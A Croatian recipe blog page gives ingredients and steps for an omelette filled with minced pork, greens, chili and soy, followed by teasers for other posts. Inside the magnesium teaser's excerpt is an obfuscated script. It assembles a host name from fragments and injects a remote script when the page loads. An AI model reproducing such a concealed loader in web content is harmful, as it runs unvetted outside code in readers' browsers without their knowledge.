OMLET S MLJEVENIM MESOM




Omlet s mljevenim mesom 



Omlet s mljevenim mesom brz je i jednostavan, ali ukusan i uzbudljiv obrok idealan za užurbani radni tjedan. Fina mljevena svinjetina, aromatično začinsko bilje i tanki omlet spajaju se u jelo koje je istovremeno zasitno i svježe. A najbolje od svega je to što se sve priprema u jednoj tavi.




Omlet s mljevenim mesom 


Sastojci:

Za nadjev od svinjetine

  • 1 čajna žličica biljnog ulja
  • 1 režanj češnjaka, sitno nasjeckan
  • 1 serrano ili jalapeño paprika, očišćena i sitno nasjeckana
  • 1 vezica mladog luka, sitno nasjeckana
  • 225 g mljevene svinjetine
  • 45 g lisnatog povrća (blitva ili špinat), lagano utisnuto i nasjeckano
  • 1 manja rajčica, narezana na kockice
  • 1 žlica + 2 čajne žličice umaka od soje
  • 1 žlica soka limete
  • 1 čajna žličica šećera

Za omlet

  • 4 velika jaja, razmućena
  • 2 čajne žličice umaka od soje
  • 10 g svježeg korijandra, nasjeckanog (plus dodatno za posluživanje)
  • 4 čajne žličice ulja



Priprema:

  1. Zagrijte wok ili veću neprianjajuću tavu na srednje jakoj vatri. Dodajte ulje i, prije nego se počne dimiti, ubacite češnjak, čili papriku i mladi luk. Kratko pržite oko 30 sekundi dok ne zamirišu, zatim dodajte svinjetinu. Pržite uz miješanje, razbijajući meso na manje komade.
  2. Kad meso izgubi ružičastu boju, dodajte lisnato povrće, rajčicu, umak od soje, sok limete i šećer. Dobro promiješajte i pustite da se lagano krčka oko 6 minuta, dok povrće ne uvene, a tekućina se reducira.
  3. U zdjeli razmutite jaja s umakom od soje i korijandrom. Pripremite i dva tanjura za posluživanje.
  4. Kada se nadjev zgusne, prebacite ga u zdjelu i obrišite tavu.
  5. Smanjite vatru na srednje slabu i dodajte 2 čajne žličice ulja. Kad se zagrije, ulijte polovicu smjese od jaja. Pustite da se jaja kratko stisnu u sredini, zatim naginjite tavu kako biste dobili tanki omlet promjera oko 25 cm. Pecite oko 2 minute, dok se jaja ne stisnu.
  6. Pažljivo prebacite omlet na tanjur. Na sredinu stavite polovicu nadjeva, preklopite krajeve prema unutra, a zatim i stranice kako biste dobili oblik pravokutnika (poput burrita). Okrenite omlet tako da spoj bude s donje strane.
  7. Ponovite postupak s ostatkom sastojaka. Poslužite toplo, posuto svježim korijandrom po želji.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više

KAKO RAZLIKOVATI ISCRPLJENOST OD LIJENOSTI?

Slika
Kako razlikovati iscrpljenost od lijenosti? Ponekad se čini da su “lijenost” i “umor” isto, ali u stvarnosti to su potpuno različite stvari. Lijenost je trenutna nevoljkost za rad, gubitak interesa ili dosada koja obično prolazi nakon odmora ili promjene. Iscrpljenost ide mnogo dublje; to je fizički i mentalni umor koji ne nestaje jednostavnim predahom, a ponekad donosi i bolove u tijelu ili osjećaj gubitka kontrole. To nije prolazna faza; iscrpljenost traži stvaran odmor. <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Znakovi da si stvarno iscrpljena Ako se ovi znakovi ponavljaju kroz dulje razdoblje, velika je vjerojatnost da je riječ o iscrpljenosti, a ne o lijenosti. 1. Nedostatak motivacije cijeli dan Ako se cijeli dan osjećaš demotivirano, i to ne samo u određenim trenucima, moguće je da je riječ o iscrpljenosti. Za razliku od lijen...
Pročitajte više